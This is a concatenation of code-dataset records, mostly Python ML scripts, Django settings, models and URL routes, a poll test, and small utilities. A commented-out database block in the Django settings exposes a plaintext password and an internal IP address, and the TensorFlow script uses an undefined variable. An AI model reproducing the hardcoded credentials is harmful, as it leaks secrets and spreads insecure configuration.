\"\"\"\n idx_sorted = np.argsort(dist, axis=1, kind='mergesort')\n return y[idx_sorted]\n\n def p_y_x_knn(self, y, k):\n \"\"\"\n Computes probablility distribution p(y|x) for each class from test set\n\n :param y: matrix of labels sorted in ascending order\n :return: macierz prawdopodobieństw p(y|x) dla obiektów z \"X\" N1xM\n \"\"\"\n\n nearest_neighbors = y[:, :k]\n\n # Sum of count of all classes throught 0 to M, divided by total number of classes (M)\n p_y_x_t = np.array(\n [(nearest_neighbors == m).sum(axis=1) / (self.num_of_classes + 1)\n for m in range(0, self.num_of_classes)])\n return p_y_x_t.T # result is trasposed","sub_path":"knn_classifier.py","file_name":"knn_classifier.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"305774769","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 29 16:07:23 2017\r\n\r\n@author: Geeks_Sid\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nimport pandas as pd\r\nimport numpy as np\r\nimport time\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.cross_validation import train_test_split\r\nimport matplotlib.pyplot as plt\r\n\r\n#cleaning dataset\r\niris = load_iris()\r\niris_X, iris_y = iris.data[:-1,:], iris.target[:-1]\r\niris_y= pd.get_dummies(iris_y).values\r\ntrainX, testX, trainY, testY = train_test_split(iris_X, iris_y, test_size=0.33, random_state=42)\r\n\r\nnumFeatures = trainX.shape[1]\r\n\r\n# numLabels is the number of classes our data points can be in.\r\n# In the iris dataset, this number is '3'.\r\nnumLabels = trainY.shape[1]\r\n\r\n\r\n# Placeholders\r\n# 'None' means TensorFlow shouldn't expect a fixed number in that dimension\r\nX = tf.placeholder(tf.float32, [None, numFeatures]) # Iris has 4 features, so X is a tensor to hold our data.\r\nyGold = tf.placeholder(tf.float32, [None, numLabels]) # This will be our correct answers matrix for 3 classes.\r\n\r\nW = tf.Variable(tf.zeros([4, 3]))\r\nb = tf.Variable(tf.zeros([3]))\r\n\r\n#now comes the variables with weights\r\nweights = tf.Variable(tf.random_normal([numFeatures,numLabels],\r\n mean=0,\r\n stddev=0.01,\r\n name=\"weights\"))\r\n\r\nbias = tf.Variable(tf.random_normal([1,numLabels],\r\n mean=0,\r\n stddev=0.01,\r\n name=\"bias\"))\r\n\r\napply_weights_OP = tf.matmul(X, weights, name = \"apply_weights\")\r\nadd_bias_OP = tf.add(apply_weights_OP, bias, name = \"add_bias\")\r\nactivation_OP = tf.nn.sigmoid(add_bias_OP, name = \"Activation\")\r\n\r\nnumEpochs = 700\r\n\r\nlearning_Rate = tf.train.exponential_decay(learning_rate = 0.0008, \r\n global_step = 1, \r\n decay_steps = trainX.shape[0],\r\n decay_rate = 0.95,\r\n staircase = True)\r\n\r\n#defininf cost function\r\ncost_OP = tf.nn.l2_loss(activation_OP-yGold, name=\"squared_error_cost\")\r\ntraining_OP = tf.train.GradientDescentOptimizer(learning_Rate).minimize(cost_OP)\r\n\r\nwith tf.Session() as sess:\r\n init = tf.global_variables_initializer()\r\n sess.run(init)\r\n \r\n#getting the model up\r\n cost = 0\r\n diff = 1\r\n epoch_values = []\r\n accuracy_values = []\r\n cost_values = []\r\n \r\n # Training epochs\r\n for i in range(numEpochs):\r\n if i > 1 and diff < .0001:\r\n print(\"change in cost %g; convergence.\"%diff)\r\n break\r\n else:\r\n # Run training step\r\n step = sess.run(training_OP, feed_dict={X: trainX, yGold: trainY})\r\n # Report occasional stats\r\n if i % 10 == 0:\r\n # Add epoch to epoch_values\r\n epoch_values.append(i)\r\n # Generate accuracy stats on test data\r\n train_accuracy, newCost = sess.run([accuracy_OP, cost_OP], feed_dict={X: trainX, yGold: trainY})\r\n # Add accuracy to live graphing variable\r\n accuracy_values.append(train_accuracy)\r\n # Add cost to live graphing variable\r\n cost_values.append(newCost)\r\n # Re-assign values for variables\r\n diff = abs(newCost - cost)\r\n cost = newCost\r\n \r\n #generate print statements\r\n print(\"step %d, training accuracy %g, cost %g, change in cost %g\"%(i, train_accuracy, newCost, diff))\r\n \r\n \r\n # How well do we perform on held-out test data?\r\n print(\"final accuracy on test set: %s\" %str(sess.run(accuracy_OP, \r\n feed_dict={X: testX, \r\n yGold: testY})))","sub_path":"Logistic Regression/LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"337039935","text":"# BSD 3-Clause License; see https://github.com/scikit-hep/uproot4/blob/master/LICENSE\n\n\"\"\"\nSource and Resource for a memory mapped file, which is never multithreaded.\n\"\"\"\n\nfrom __future__ import absolute_import\n\nimport numpy\n\nimport uproot4.source.chunk\nimport uproot4.source.futures\nimport uproot4.source.file\nimport uproot4._util\n\n\nclass MemmapSource(uproot4.source.chunk.Source):\n \"\"\"\n Source for a memory-mapped file.\n\n Threading is unnecessary because a memory-map is stateless.\n \"\"\"\n\n _dtype = uproot4.source.chunk.Chunk._dtype\n\n def __init__(self, file_path, **options):\n \"\"\"\n Args:\n file_path (str): Path to the file.\n \"\"\"\n num_fallback_workers = options[\"num_fallback_workers\"]\n self._num_requests = 0\n self._num_requested_chunks = 0\n self._num_requested_bytes = 0\n\n self._file_path = file_path\n try:\n self._file = numpy.memmap(self._file_path, dtype=self._dtype, mode=\"r\")\n self._fallback = None\n except (OSError, IOError):\n self._file = None\n self._fallback = uproot4.source.file.FileSource(\n file_path, num_workers=num_fallback_workers\n )\n\n @property\n def file(self):\n \"\"\"\n Path to the file.\n \"\"\"\n return self._file\n\n @property\n def fallback(self):\n \"\"\"\n Fallback FileSource or None; only created if opening a memory map\n raised OSError or IOError.\n \"\"\"\n return self._fallback\n\n def __enter__(self):\n \"\"\"\n Passes `__enter__` to the memory-map.\n\n Returns self.\n \"\"\"\n if self._fallback is None:\n if hasattr(self._file._mmap, \"__enter__\"):\n self._file._mmap.__enter__()\n else:\n self._fallback.__enter__()\n\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n \"\"\"\n Passes `__exit__` to the memory-map or otherwise closes the file.\n \"\"\"\n if self._fallback is None:\n if hasattr(self._file._mmap, \"__exit__\"):\n self._file._mmap.__exit__(exception_type, exception_value, traceback)\n else:\n self._file._mmap.close()\n else:\n self._fallback.__exit__(exception_type, exception_value, traceback)\n\n @property\n def closed(self):\n \"\"\"\n True if the associated file/connection/thread pool is closed; False\n otherwise.\n \"\"\"\n if uproot4._util.py2:\n try:\n self._file._mmap.tell()\n except ValueError:\n return True\n elif self._file._mmap.closed:\n return True\n else:\n return False\n\n @property\n def num_bytes(self):\n \"\"\"\n The number of bytes in the file.\n \"\"\"\n if self._fallback is None:\n return self._file._mmap.size()\n else:\n return self._fallback.num_bytes\n\n def chunk(self, start, stop, exact=True):\n \"\"\"\n Args:\n start (int): The start (inclusive) byte position for the desired\n chunk.\n stop (int or None): If an int, the stop (exclusive) byte position\n for the desired chunk; if None, stop at the end of the file.\n exact (bool): If False, attempts to access bytes beyond the\n end of the Chunk raises a RefineChunk; if True, it raises\n an OSError with an informative message.\n\n Returns a single Chunk that has already been filled synchronously.\n \"\"\"\n self._num_requests += 1\n self._num_requested_chunks += 1\n self._num_requested_bytes += stop - start\n\n if self._fallback is None:\n if self.closed:\n raise OSError(\"memmap is closed for file {0}\".format(self._file_path))\n\n data = numpy.array(self._file[start:stop], copy=True)\n future = uproot4.source.futures.TrivialFuture(data)\n return uproot4.source.chunk.Chunk(self, start, stop, future, exact)\n\n else:\n return self._fallback(start, stop, exact=exact)\n\n def chunks(self, ranges, exact=True, notifications=None):\n \"\"\"\n Args:\n ranges (iterable of (int, int)): The start (inclusive) and stop\n (exclusive) byte ranges for each desired chunk.\n exact (bool): If False, attempts to access bytes beyond the\n end of the Chunk raises a RefineChunk; if True, it raises\n an OSError with an informative message.\n notifications (None or Queue): If not None, Chunks will be put\n on this Queue immediately after they are ready.\n\n Returns a list of Chunks that are already filled with data.\n \"\"\"\n self._num_requests += 1\n self._num_requested_chunks += len(ranges)\n self._num_requested_bytes += sum(stop - start for start, stop in ranges)\n\n if self._fallback is None:\n if self.closed:\n raise OSError(\"memmap is closed for file {0}\".format(self._file_path))\n\n chunks = []\n for start, stop in ranges:\n data = numpy.array(self._file[start:stop], copy=True)\n future = uproot4.source.futures.TrivialFuture(data)\n chunk = uproot4.source.chunk.Chunk(self, start, stop, future, exact)\n if notifications is not None:\n future.add_done_callback(\n uproot4.source.chunk.Resource.notifier(chunk, notifications)\n )\n chunks.append(chunk)\n return chunks\n\n else:\n return self._fallback(ranges, exact=exact, notifications=notifications)\n","sub_path":"uproot4/source/memmap.py","file_name":"memmap.py","file_ext":"py","file_size_in_byte":5790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"178604311","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 11 01:16:46 2018\n\n@author: utkarshsingh\n\"\"\"\n\n#importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n#Load dataset\ndataset=pd.read_csv('Salary_Data.csv')\nX=dataset.iloc[:,:-1].values\ny=dataset.iloc[:,1].values\n\n#Splitting the dataset into training and test set\nfrom sklearn.cross_validation import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=1/3,random_state=0)\n\n#Fitting sample linear regression to our model\nfrom sklearn.linear_model import LinearRegression\nregressor=LinearRegression()\nregressor.fit(X_train, y_train)\n\n#Predicting the test result\ny_pred=regressor.predict(X_test)\n\n#Visualising the training set result\nplt.scatter(X_train,y_train,color='red')\nplt.plot(X_train,regressor.predict(X_train),color='blue')\nplt.title('Salary vs Experience TrainingSet ')\nplt.xlabel('Years of experience')\nplt.ylabel('Salary')\nplt.show()\n\n#Visualising the test set result\nplt.scatter(X_test,y_test,color='red')\nplt.plot(X_train,regressor.predict(X_train),color='blue')\nplt.title('Salary vs Experience TestSet')\nplt.xlabel('Years of experience')\nplt.ylabel('Salary')\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Part 2 - Regression/Section 4 - Simple Linear Regression/SimpleLinearRegressionUK.py","file_name":"SimpleLinearRegressionUK.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"455337762","text":"from django.urls import path, re_path\nfrom apps.authentication.api import views\nfrom rest_framework.routers import DefaultRouter\nfrom django.conf.urls import include, url\nfrom rest_framework_jwt.views import refresh_jwt_token, obtain_jwt_token\n\nrouter = DefaultRouter()\nrouter.register(r'users', views.UserViewSet)\n\nurlpatterns = [\n path('users/me/', views.UserExt.get_request_user),\n path('obtain-token/', obtain_jwt_token),\n path('refresh-token/', refresh_jwt_token),\n path('rest-auth/', include('rest_auth.urls')),\n path('rest-auth/registration/', include('rest_auth.registration.urls')),\n path('rest-auth/facebook/', views.FacebookLogin.as_view(), name='facebook_login'),\n path('rest-auth/facebook/connect/', views.FacebookConnect.as_view(), name='facebook_connect'),\n path('rest-auth/google/', views.GoogleLogin.as_view(), name='google_login'),\n path('rest-auth/google/connect/', views.GoogleConnect.as_view(), name='google_connect'),\n path('registration/', include('rest_auth.registration.urls')),\n url(r'^', include(router.urls)),\n]\n","sub_path":"apps/authentication/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"382249062","text":"# -*- coding: utf-8 -*-\n\n__all__ = [r'start', r'stop']\n\n\nimport random\n\nfrom tornado.gen import coroutine, sleep, Return\n\nfrom util.util import Utils\nfrom util.task import AsyncTasks\n\n\ndef start():\n\n tasks = AsyncTasks()\n\n tasks.add_timeout(0, Utils.func_partial(demo, r'Timeout'))\n\n tasks.add_interval(10, Utils.func_partial(demo, r'Interval'), True)\n\n tasks.add_schedule(r'* * * * *', Utils.func_partial(demo, r'Schedule'))\n\n tasks.add_worker(lambda: print(r'Thread worker run'))\n\n\ndef stop():\n\n tasks = AsyncTasks()\n\n tasks.remove_all_interval()\n tasks.remove_all_schedule()\n\n\n@coroutine\ndef demo(name):\n\n flag = random.randint(10000, 99999)\n\n print(r'{0:s} task ({1:d}) start'.format(name, flag))\n yield sleep(5)\n print(r'{0:s} task ({1:d}) running'.format(name, flag))\n yield sleep(5)\n print(r'{0:s} task ({1:d}) end'.format(name, flag))\n","sub_path":"service/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"361401156","text":"import mxnet\nfrom mxnet import nd, init, autograd\nfrom mxnet.gluon import nn\nimport numpy as np\n\n\nclass BoxCornerToCenter(nn.HybridBlock):\n\n def __init__(self, is_split=False, **kwargs):\n super(BoxCornerToCenter, self).__init__(**kwargs)\n self.is_split = is_split\n\n def hybrid_forward(self, F, x):\n x1, y1, x2, y2 = F.split(x, axis=-1, num_outputs=4)\n w = x2 - x1\n h = y2 - y1\n x = x1 + w * 0.5\n y = y1 + h * 0.5\n if self.is_split:\n return x, y, w, h\n else:\n return F.concat(x, y, w, h, dim=-1)\n\n\nclass BoxClip(nn.HybridBlock):\n\n def __init__(self, x_max, y_max, **kwargs):\n super(BoxClip, self).__init__(**kwargs)\n self.x_max = x_max\n self.y_max = y_max\n\n def hybrid_forward(self, F, x):\n x1, y1, x2, y2 = F.split(x, axis=-1, num_outputs=4)\n x1 = F.clip(x1, a_min=0, a_max=self.x_max)\n y1 = F.clip(y1, a_min=0, a_max=self.y_max)\n x2 = F.clip(x2, a_min=0, a_max=self.x_max)\n y2 = F.clip(y2, a_min=0, a_max=self.y_max)\n return F.concat(x1, y1, x2, y2, dim=-1)\n","sub_path":"utils/box.py","file_name":"box.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"339103503","text":"import environ\nroot = environ.Path(__file__) - 2 # three folder back (/a/b/c/ - 3 = /)\nroot_path = root.path()\nenv = environ.Env(DEBUG=(bool, False),) # set default values and casting\nenviron.Env.read_env('settings.env')\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = env('SECRET_KEY')\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = env('DEBUG')\n\nALLOWED_HOSTS = ['*']\n\n\n# Application definition\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n 'bootstrapform',\n 'taggit',\n 'imagekit',\n 'django_summernote',\n 'datetimewidget',\n\n 'blog.apps.BlogConfig',\n 'whitenoise.runserver_nostatic',\n]\n\nSITE_ID = 1\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'Blog.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [root_path('templates')]\n ,\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'Blog.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.11/ref/settings/#databases\n\nDATABASES = {\n 'default': env.db(),\n #'default': {\n # 'ENGINE': 'django.db.backends.postgresql',\n # 'OPTIONS': {\n # 'options': '-c search_path=public'\n # },\n # 'NAME': 'blog',\n # 'USER': 'webadmin',\n # 'PASSWORD': 'FPSvmg03241',\n # 'HOST': '10.100.3.105',\n # 'PORT': '5432',\n # 'CONN_MAX_AGE': None,\n #},\n}\n\nDATABASES['default']['OPTIONS'] = {\n 'options': '-c search_path=public'\n}\nDATABASES['default']['CONN_MAX_AGE'] = env.int('CONN_MAX_AGE', None)\n\n# Password validation\n# https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\nAUTH_USER_MODEL = 'blog.User'\n\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n 'allauth.account.auth_backends.AuthenticationBackend',\n)\n\nLOGIN_REDIRECT_URL = '/accounts/profile/'\nLOGIN_URL = '/accounts/login/'\n\nACCOUNT_AUTHENTICATION_METHOD = 'username_email'\n# ACCOUNT_EMAIL_VERIFICATION = 'none'\nACCOUNT_LOGOUT_ON_GET = True\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.11/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.11/howto/static-files/\n\nSTATIC_URL = '/static/'\n\nSTATIC_ROOT = root_path('static_root')\n\nSTATICFILES_DIRS = (\n root_path('static'),\n)\n\n# STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.ManifestStaticFilesStorage'\n\nMEDIA_ROOT = root_path('media')\n\nMEDIA_URL = '/media/'\n\nSESSION_COOKIE_NAME = 'sess_pk'\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\nTAGGIT_CASE_INSENSITIVE = True\n# TAGGIT_TAGS_FROM_STRING = 'appname.utils.comma_splitter'\n# TAGGIT_STRING_FROM_TAGS = 'appname.utils.comma_joiner'\n\nfrom django_summernote.settings import static_url\n\nSUMMERNOTE_CONFIG = {\n 'iframe': False,\n 'airMode': False,\n 'styleWithTags': True,\n 'direction': 'ltr',\n 'width': '100%',\n 'height': '480',\n 'lang': None,\n 'toolbar': [\n ['style', ['style']],\n ['style', ['bold', 'italic', 'underline', 'clear']],\n ['para', ['ul', 'ol', 'height']],\n ['insert', ['link']],\n ],\n 'attachment_require_authentication': True,\n 'external_css': (\n '//netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css',\n ),\n 'external_js': (\n '//code.jquery.com/jquery-1.9.1.min.js',\n '//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js',\n ),\n 'internal_css': (\n static_url('django_summernote/summernote.css'),\n ),\n 'internal_js': (\n static_url('django_summernote/jquery.ui.widget.js'),\n static_url('django_summernote/jquery.iframe-transport.js'),\n static_url('django_summernote/jquery.fileupload.js'),\n static_url('django_summernote/summernote.min.js'),\n ),\n 'codemirror': {\n 'theme': 'monokai',\n },\n\n}\n\nSTATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'\n","sub_path":"Blog/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"593334104","text":"import re\n\n# Раз \"язык\" так проблематично поймать среди упрямых врагов - языковедов и языкознаний,\n# то почему бы нам просто не нейтрализовать их смехом, хитростью и смекалкой?\n\ndef shashlik():\n with open('Лингвистика.txt','r', encoding='utf-8') as f:\n lingv = f.read()\n result = re.sub('языков', 'читерствов', lingv) # языковед, языковедение - читерствовед, читерствоведение\n result = re.sub('языкоз', 'смекалкоз', result) # языкознание - смекалкознание\n result = re.sub('Метая', 'Смехоя', result) # метаязык - смехоязык\n result = re.sub('метая', 'смехоя', result)\n\n# Враги нейтрализованы! Пришло время превращать язык в шашлык!\n\n result = re.sub('язык', 'шашлык', result)\n result = re.sub('Язык', 'Шашлык', result)\n\n# А теперь обратно!\n\n result = re.sub('Смехоя', 'Метая', result)\n result = re.sub('смехоя', 'метая', result)\n result = re.sub('читерствов', 'языков', result)\n result = re.sub('смекалкоз', 'языкоз', result)\n x_file = open('Шашлык.txt', 'w')\n x_file.write(result)\n x_file.close()\n return result\n\n\ndef astrology():\n with open('Философия.txt','r', encoding='utf-8') as f:\n philos = f.read()\n philos = philos.replace(chr(769), '')\n result = re.sub('Философи', 'Астрологи', philos)\n result = re.sub('философи', 'астрологи', result)\n x_file = open('Астрология.txt', 'w')\n x_file.write(result)\n x_file.close()\n return result\n\ndef malaysia():\n with open('Финляндия.txt','r', encoding='utf-8') as f:\n suomi = f.read()\n suomi = suomi.replace(chr(769), '')\n result = re.sub('Финлянди', 'Малайзи', suomi)\n result = re.sub('финлянди', 'малайзи', result)\n x_file = open('Малайзия.txt', 'w')\n x_file.write(result)\n x_file.close()\n return result\n\ndef main():\n shashlik()\n malaysia()\n astrology()\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"HW_04_11/HW_04_11.py","file_name":"HW_04_11.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"502728799","text":"\n\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\nCSV_COLUMN_NAMES = [\"service1_inst\", \"service2_inst\", \"service3_inst\", \"service1_mem\", \"service2_mem\", \"service3_mem\", \"time_span\", \"result\"];\nprint(CSV_COLUMN_NAMES[:-1])\ny_name='result'\n\ntrain_path, test_path = \"train.csv\", \"test.csv\";\n\ntrain = pd.read_csv(train_path, names=CSV_COLUMN_NAMES, header=0)\ntrain_x, train_y = train.loc[:,CSV_COLUMN_NAMES[:-1]], train[y_name]\nprint(train_x, train_y)\n\n\n\ntrain_x.plot(subplots=True, figsize=(8, 8))\n\ntrain_x.hist(figsize=(8, 8))\n\nplt.figure();\ntrain_x[\"service3_inst\"].plot.kde()\n\nplt.figure();\ntrain_y.plot.hist();\n\ntrain.plot.scatter(x='service1_inst', y='result')\n\n\n\nfrom pandas.plotting import scatter_matrix\nscatter_matrix(train, alpha=0.2, figsize=(6, 6), diagonal='kde')\n\nplt.show()\n\n\n\n","sub_path":"ml/log_analyzer/python3/deepML/delta_learning_3/data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"430109475","text":"from django.db import models\nfrom django.conf import settings\nfrom django.core.validators import RegexValidator\n\nclass Racer(models.Model):\n GENDER_MALE = 'M'\n GENDER_FEMALE = 'F'\n GENDER_TRANS = 'T'\n \n GENDER_OPTIONS = (\n (GENDER_MALE, \"Male\"),\n (GENDER_FEMALE, \"Female\"),\n (GENDER_TRANS, \"Trans/Non Binary/Agender\")\n )\n \n RACER_CATEGORY_MESSENGER = 0\n RACER_CATEGORY_NON_MESSENGER = 1\n RACER_CATEGORY_EX_MESSENGER = 2\n \n RACER_CATEGORY_OPTIONS = (\n (RACER_CATEGORY_MESSENGER, \"Working Messenger\"),\n (RACER_CATEGORY_NON_MESSENGER, \"Non-Messenger\"),\n (RACER_CATEGORY_EX_MESSENGER, \"Recovered Messenger\")\n )\n \n HEAT_FIRST = 'a'\n HEAT_SECOND = 'b'\n HEAT_THIRD = 'c'\n HEAT_FOURTH = 'd'\n \n HEAT_CHOICE_OPTIONS = (\n (HEAT_FIRST, \"10:00\"),\n (HEAT_SECOND, \"11:00\"),\n (HEAT_THIRD, \"12:00\"),\n (HEAT_FOURTH, \"13:00\"),\n )\n \n RACER_CATEGORY_OPTIONS_SHORT = (\n (RACER_CATEGORY_MESSENGER, \"Messenger\"),\n (RACER_CATEGORY_NON_MESSENGER, \"Non-Mess\"),\n (RACER_CATEGORY_EX_MESSENGER, \"Recovered\")\n )\n \n SHIRT_SIZE_SMALL = 'S'\n SHIRT_SIZE_MEDIUM = 'M'\n SHIRT_SIZE_LARGE = 'L'\n SHIRT_SIZE_XLARGE = 'XL'\n \n SHIRT_SIZE_OPTIONS = (\n (SHIRT_SIZE_SMALL, \"S\"),\n (SHIRT_SIZE_MEDIUM, \"M\"),\n (SHIRT_SIZE_LARGE, \"L\"),\n (SHIRT_SIZE_XLARGE, \"XL\")\n )\n \n radio_numbers = range(8, 90)\n available_numbers = [\"radio {}\".format(str(x)) for x in radio_numbers]\n available_numbers_tup = tuple([(element, element) for element in available_numbers])\n \n \n \"\"\"(Racer description)\"\"\"\n racer_number = models.CharField(max_length=3, unique=True, validators=[RegexValidator(r'^\\d{1,10}$')])\n first_name = models.CharField(max_length=50)\n last_name = models.CharField(max_length=50)\n nick_name = models.CharField(max_length=50, blank=True)\n email = models.EmailField(max_length=50, blank=True)\n city = models.CharField(max_length=50, blank=True)\n gender = models.CharField(max_length=1, choices=GENDER_OPTIONS)\n category = models.IntegerField(choices=RACER_CATEGORY_OPTIONS)\n track = models.BooleanField(\"Racer is riding a brakeless track bike\", default=False)\n cargo = models.BooleanField(\"Racer is doing the cargo race.\", default=False)\n packet = models.BooleanField(\"Packet picked up.\", default=False)\n heat = models.CharField(max_length=2, choices=HEAT_CHOICE_OPTIONS, default=HEAT_FIRST)\n shirt_size = models.CharField(max_length=2, choices=SHIRT_SIZE_OPTIONS, default=SHIRT_SIZE_MEDIUM)\n paid = models.BooleanField(default=False)\n paypal_tx = models.CharField(blank=True, max_length=100)\n team = models.CharField(blank=True, max_length=100)\n company = models.CharField(blank=True, max_length=100)\n radio_number = models.CharField(choices=available_numbers_tup, blank=True, max_length=100)\n contact_info = models.CharField(blank=True, max_length=100)\n \n class Meta:\n ordering = ['last_name']\n \n def __unicode__(self):\n return self.display_name\n \n def get_absolute_url(self):\n return '/racers/details/' + str(self.id)\n \n @property\n def payment_link(self):\n return u'https://naccc.herokuapp.com/racers/pay/?racer_number={}'.format(str(self.racer_number))\n \n @property\n def shirt_link(self):\n return u'https://naccc.herokuapp.com/racers/shirt?pk={}&racer_number={}'.format(str(self.id), str(self.racer_number))\n\n @property\n def display_name(self):\n if len(self.nick_name) > 0:\n return u\"{} '{}' {}\".format(self.first_name, self.nick_name, self.last_name)\n return u\"{} {}\".format(self.first_name, self.last_name)\n \n @property\n def category_as_string(self):\n return self.RACER_CATEGORY_OPTIONS[self.category][1]\n \n @property\n def category_as_string_short(self):\n return self.RACER_CATEGORY_OPTIONS_SHORT[self.category][1]\n \n @property\n def heat_string(self):\n return dict(self.HEAT_CHOICE_OPTIONS)[self.heat]\n \n def mark_as_paid(self):\n if not self.paid:\n self.paid = True\n self.save()\n \nclass Volunteer(models.Model):\n SHIRT_SIZE_SMALL = 'S'\n SHIRT_SIZE_MEDIUM = 'M'\n SHIRT_SIZE_LARGE = 'L'\n SHIRT_SIZE_XLARGE = 'XL'\n \n SHIRT_SIZE_OPTIONS = (\n (SHIRT_SIZE_SMALL, \"S\"),\n (SHIRT_SIZE_MEDIUM, \"M\"),\n (SHIRT_SIZE_LARGE, \"L\"),\n (SHIRT_SIZE_XLARGE, \"XL\")\n )\n \n \"\"\"(Volunteer description)\"\"\"\n first_name = models.CharField(max_length=50)\n last_name = models.CharField(max_length=50)\n email = models.EmailField(max_length=50, blank=True)\n phone = models.CharField(\"Phone Number\", max_length=15)\n city = models.CharField(max_length=50, blank=True)\n shirt_size = models.CharField(max_length=2, choices=SHIRT_SIZE_OPTIONS, default=SHIRT_SIZE_MEDIUM)\n paid = models.BooleanField(default=False)\n paypal_tx = models.CharField(blank=True, max_length=100)\n packet_picked_up = models.BooleanField(\"packet is picked up?\", default=False)\n \n class Meta:\n ordering = ['last_name']\n \n def __unicode__(self):\n return u\"{} {}\".format(self.first_name, self.last_name)\n \n def get_absolute_url(self):\n return '/volunteer/details/' + str(self.id)\n\n def mark_as_paid(self):\n if not self.paid:\n self.paid = True\n self.save()","sub_path":"racers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"214562452","text":"# -*- coding: utf-8 -*-\nfrom django.urls import reverse\n\nfrom tests.base import TransactionTestCase\nfrom pybb import defaults\nfrom pybb.models import PollAnswer, Topic, Poll\n\n\nclass PollTest(TransactionTestCase):\n def setUp(self):\n self.PYBB_POLL_MAX_ANSWERS = defaults.PYBB_POLL_MAX_ANSWERS\n defaults.PYBB_POLL_MAX_ANSWERS = 2\n\n def test_poll_add(self):\n topic_create_url = reverse('pybb:topic_create', kwargs={'forum_id': self.forum.id})\n\n self.login()\n\n response = self.client.get(topic_create_url)\n values = self.get_form_values(response)\n values['body'] = 'test poll body'\n values['name'] = 'test poll name'\n values['poll_type'] = 0 # poll_type = None, create topic without poll answers\n values['poll_question'] = 'q1'\n values['answers-0-text'] = 'answer1'\n values['answers-1-text'] = 'answer2'\n values['answers-TOTAL_FORMS'] = 2\n response = self.client.post(topic_create_url, values, follow=True)\n self.assertEqual(response.status_code, 200)\n new_topic = Topic.objects.get(name='test poll name')\n\n self.assertIsNone(new_topic.poll)\n\n 